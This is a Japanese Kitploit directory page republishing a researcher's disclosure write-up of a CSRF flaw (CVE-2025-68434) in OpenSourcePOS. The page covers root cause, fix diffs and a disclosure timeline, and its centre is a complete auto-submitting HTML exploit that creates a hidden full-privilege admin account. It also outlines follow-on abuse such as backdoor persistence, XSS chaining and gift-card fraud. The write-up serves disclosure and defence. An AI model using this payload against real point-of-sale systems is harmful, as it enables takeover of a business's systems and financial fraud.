Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-68434-OSPOS-CSRF — CVE-2025-68434 の PoC と解説: OpenSourcePOS における重大なCSRF。無効化されたフィルター設定を悪用し、認証されていない攻撃者が静かに不正な管理者アカウントを作成し、システム全体を乗っ取ることを可能にします。バージョン 3.4.0 未満で検証済み。 | Kitploit
ツール/GitHubGitHub/nixon-h/cve-2025-68434-ospos-csrf
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育
GitHubnixon-h/cve-2025-68434-ospos-csrf

CVE-2025-68434-OSPOS-CSRF

CVE-2025-68434 の PoC と解説: OpenSourcePOS における重大なCSRF。無効化されたフィルター設定を悪用し、認証されていない攻撃者が静かに不正な管理者アカウントを作成し、システム全体を乗っ取ることを可能にします。バージョン 3.4.0 未満で検証済み。

リポジトリを見る
3123ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-68434: OpenSourcePOS における CSRF による不正な管理者作成

メタデータ詳細
CVE IDCVE-2025-68434
重要度Critical (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
脆弱性の種類クロスサイトリクエストフォージェリ (CWE-352)
影響を受けるバージョンOpenSourcePOS v3.4.0, v3.4.1
修正済みバージョンv3.4.2
脆弱なコンポーネントapp/Config/Filters.php (グローバルセキュリティフィルター)
報告者Aditya Singh (Nixon-H)

📝 エグゼクティブサマリー

OpenSourcePOS の中核セキュリティ設定において、重大なクロスサイトリクエストフォージェリ (CSRF) の脆弱性が発見されました。アプリケーションのグローバル CSRF 保護メカニズムが、app/Config/Filters.php ファイル内で明示的に無効化されていました。これは、未解決のままであった一時的な開発用「TODO」が原因です。

この設定ミスにより、アプリケーションは有効なアンチフォージェリトークンを検証せずに状態変更を伴う HTTP リクエスト (POST) を受け入れるようになりました。未認証のリモート攻撃者は、ログイン済みの管理者を悪意のあるページに誘導することでこれを悪用できます。攻撃者のページは、被害者のブラウザに管理操作をサイレントに強制します。具体的には、完全な権限を持つ新しい「バックドア」管理者アカウントを作成し、システム全体の乗っ取りにつながります。


🕵️‍♂️ 技術的根本原因分析

脆弱な設定

脆弱性は グローバルフィルター 設定 (app/Config/Filters.php) にありました。CodeIgniter 4 では、$globals 配列がすべてのリクエストで実行されるフィルターを決定します。

影響を受けるバージョンでは、csrf フィルターが before 実行リスト内でコメントアウトされており、アプリケーション全体の CSRF 保護が実質的に無効化されていました。

脆弱なコード (app/Config/Filters.php):

root@kitploit:~
public array $globals = [
    'before' => [
        'honeypot',
        // 'csrf' => ['except' => 'login'],    // TODO: Temporarily disable CSRF until we get everything sorted
        'invalidchars',
    ],
    // ...
];

この行がコメントアウトされていたため、csrf_token_name をチェックするミドルウェアは決して実行されませんでした。アプリケーションは、認証のためにセッションクッキー (ospos_session) のみに依存して、任意のオリジンからの POST リクエストを受け入れていました。


💥 概念実証 (PoC)

攻撃シナリオ

  1. 攻撃者: csrf_exploit.html ファイルを外部サーバーにホストします。
  2. 被害者: ログイン済みの OpenSourcePOS 管理者 (アクティブなセッション)。
  3. トリガー: 被害者は攻撃者のサイトへのリンクをクリックするよう誘導されます。
  4. 実行: 悪意のあるページが読み込まれ、ランダムな一意のユーザー名 (競合回避) を生成し、被害者のローカル OpenSourcePOS インスタンスに対して隠しフォームを自動送信します。
  5. 結果: 新しい管理者アカウント (例: valid_12345) が即座に作成されます。

エクスプロイトコード (POC/csrf_exploit.html)

これは、完全な権限を持つ不正な管理者を作成するために使用された正確なペイロードです:

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
    <title>OSPOS CSRF Exploit (Verified)</title>
    <style>
        body { font-family: sans-serif; text-align: center; padding: 50px; }
        .status { color: green; font-weight: bold; }
    </style>
</head>
<body>
    <h2>OSPOS Privilege Escalation Exploit</h2>
    <p>Creating Administrator account...</p>
    <p id="msg" class="status">Initializing payload...</p>

    <form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">

        <input type="hidden" name="first_name" value="Valid">
        <input type="hidden" name="last_name" value="User">
        <input type="hidden" name="username" id="username" value="">
        <input type="hidden" name="email" id="email" value="">
        
        <input type="hidden" name="phone_number" value=""> 
        <input type="hidden" name="password" value="Password123!">
        <input type="hidden" name="repeat_password" value="Password123!">
        <input type="hidden" name="gender" value="1">
        <input type="hidden" name="language" value=":">
        
        <input type="hidden" name="address_1" value="">
        <input type="hidden" name="address_2" value="">
        <input type="hidden" name="city" value="">
        <input type="hidden" name="state" value="">
        <input type="hidden" name="zip" value="">
        <input type="hidden" name="country" value="">
        <input type="hidden" name="comments" value="CSRF_PoC_Successful">

        <input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
        <input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
        <input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
        <input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
        <input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
        <input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
        <input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
        <input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
        <input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
        <input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
        <input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
        <input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
        <input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
        <input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
        <input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
        <input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
        <input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
        <input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">

        <input type="hidden" name="grant_items_stock" value="items_stock"> <input type="hidden" name="menu_group_items_stock" value="--">
        <input type="hidden" name="grant_sales_stock" value="sales_stock"> <input type="hidden" name="menu_group_sales_stock" value="--">
        <input type="hidden" name="grant_receivings_stock" value="receivings_stock"> <input type="hidden" name="menu_group_receivings_stock" value="--">
        <input type="hidden" name="grant_sales_change_price" value="sales_change_price"> <input type="hidden" name="menu_group_sales_change_price" value="--">
        <input type="hidden" name="grant_sales_delete" value="sales_delete"> <input type="hidden" name="menu_group_sales_delete" value="--">
        
        <input type="hidden" name="grant_reports_categories" value="reports_categories"> <input type="hidden" name="menu_group_reports_categories" value="--">
        <input type="hidden" name="grant_reports_customers" value="reports_customers"> <input type="hidden" name="menu_group_reports_customers" value="--">
        <input type="hidden" name="grant_reports_discounts" value="reports_discounts"> <input type="hidden" name="menu_group_reports_discounts" value="--">
        <input type="hidden" name="grant_reports_employees" value="reports_employees"> <input type="hidden" name="menu_group_reports_employees" value="--">
        <input type="hidden" name="grant_reports_expenses_categories" value="reports_expenses_categories"> <input type="hidden" name="menu_group_reports_expenses_categories" value="--">
        <input type="hidden" name="grant_reports_inventory" value="reports_inventory"> <input type="hidden" name="menu_group_reports_inventory" value="--">
        <input type="hidden" name="grant_reports_items" value="reports_items"> <input type="hidden" name="menu_group_reports_items" value="--">
        <input type="hidden" name="grant_reports_payments" value="reports_payments"> <input type="hidden" name="menu_group_reports_payments" value="--">
        <input type="hidden" name="grant_reports_receivings" value="reports_receivings"> <input type="hidden" name="menu_group_reports_receivings" value="--">
        <input type="hidden" name="grant_reports_sales" value="reports_sales"> <input type="hidden" name="menu_group_reports_sales" value="--">
        <input type="hidden" name="grant_reports_sales_taxes" value="reports_sales_taxes"> <input type="hidden" name="menu_group_reports_sales_taxes" value="--">
        <input type="hidden" name="grant_reports_suppliers" value="reports_suppliers"> <input type="hidden" name="menu_group_reports_suppliers" value="--">
        <input type="hidden" name="grant_reports_taxes" value="reports_taxes"> <input type="hidden" name="menu_group_reports_taxes" value="--">

        <input type="hidden" name="honeypot" value="">

        <script>
            // 1. Generate unique ID to ensure valid creation
            var id = Math.floor(Math.random() * 99999);
            var user = "valid_" + id;
            
            // 2. Inject into form
            document.getElementById('username').value = user;
            document.getElementById('email').value = user + "@test.com";
            
            document.getElementById('msg').innerText = "Attacking with user: " + user;

            // 3. Auto-submit
            setTimeout(function() {
                document.getElementById('hackForm').submit();
            }, 1000);
        </script>
    </form>
</body>
</html>

📷 メディア証拠

(画像とエクスプロイトファイルは POC/ ディレクトリにあります)

スクリーンショット 1: エクスプロイトの実行

スクリーンショット 2: 作成された不正アカウント

🎥 ビデオデモ: PoC 動画を視聴 / ダウンロード


⚠️ 影響シナリオ

1. シャドウ管理者の永続化 (「バックドア」)

作成されたアカウントは一時的なセッションではなく、永続的なデータベースエントリです。

  • 影響: 実際の管理者がログアウトしても、攻撃者は無期限にアクセスを維持できます。
  • ステルス性: 攻撃者はユーザー名を「System_Updater」や「Support_Account」などと命名して正当なユーザーに溶け込ませ、数ヶ月間気付かれずにデータを吸い上げることが可能です。

2. サプライチェーンサボタージュ (XSS との連鎖)

grant_config 権限を使用して、攻撃者はストア設定を変更できます。

  • 攻撃: 攻撃者は CSRF を利用して、「返品ポリシー」フィールドに悪意のある JavaScript ペイロードを注入します (CVE-2025-68147 を悪用)。
  • 影響: POS システムが水飲み場型攻撃に変わります。レシートを閲覧する従業員や顧客は、マルウェアに感染したり、セッションを乗っ取られたりします。

3. 金融詐欺およびサービス拒否

  • 詐欺: 攻撃者は数千ドル相当の「ギフトカード」を作成し、コードを自身にメール送信します。
  • DoS: 攻撃者は一括削除アクション (/items/delete) をトリガーし、製品在庫データベース全体を消去して業務を停止させます。

🛡️ 修復

この脆弱性は OpenSourcePOS v3.4.2 で修正されました。修正には、アプリケーションの AJAX を多用する販売インターフェースにおける競合状態を処理するための、複数ステップにわたるアーキテクチャ変更が必要でした。

1. フィルターの再有効化

app/Config/Filters.php において、グローバル CSRF フィルターのコメントアウトを解除しました。

root@kitploit:~
     'before' => [
         'honeypot',
-        // 'csrf' => ['except' => 'login'],    // TODO: Temporarily disable CSRF until we get everything sorted
+        'csrf' => ['except' => 'login'],
         'invalidchars',
     ],

2. セキュリティ保存戦略の変更

app/Config/Security.php において、開発者はクッキーベースからセッションベースのトークンに切り替え、並行する AJAX リクエスト (例: 販売モジュール) での問題を防ぐためにトークンの再生成を無効にしました。

root@kitploit:~
-   public string $csrfProtection = 'cookie';
+   public string $csrfProtection = 'session';

-   public bool $regenerate = true;
+   public bool $regenerate = false;

3. フロントエンドのトークン処理

app/Views/partial/header_js.php ファイルが更新され、クライアントサイドのクッキーから読み取るのではなく、トークンハッシュをサーバーから直接注入するようになり、セキュリティ体制が向上しました。

root@kitploit:~
-   var csrf_token = function() {
-       return Cookies.get(cookie_name);
-   };
+   var csrf_token = function() {
+       return "<?= csrf_hash() ?>";
+   };


📅 開示タイムライン

  • 2025-12-12: Aditya Singh (Nixon-H) が手動セキュリティ監査中に脆弱性を発見。
  • 2025-12-13: GitHub/メール経由でメンテナー (Jeroen Peelaerts) に責任ある開示レポートを送信。
  • 2025-12-14: メンテナーが脆弱性を確認。
  • 2025-12-16: パッチを作成 (Commit d575c8d)、研究者が検証。
  • 2025-12-19: バージョン 3.4.2 でパッチをリリース。
  • 2025-12-19: GitHub Security Advisory を通じて公開開示。

🔗 参考文献

  • アドバイザリ: GHSA-wjm4-hfwg-5w5r
  • パッチ: Commit d575c8d
  • 報告者: Aditya Singh (Nixon-H)
ツールをダウンロード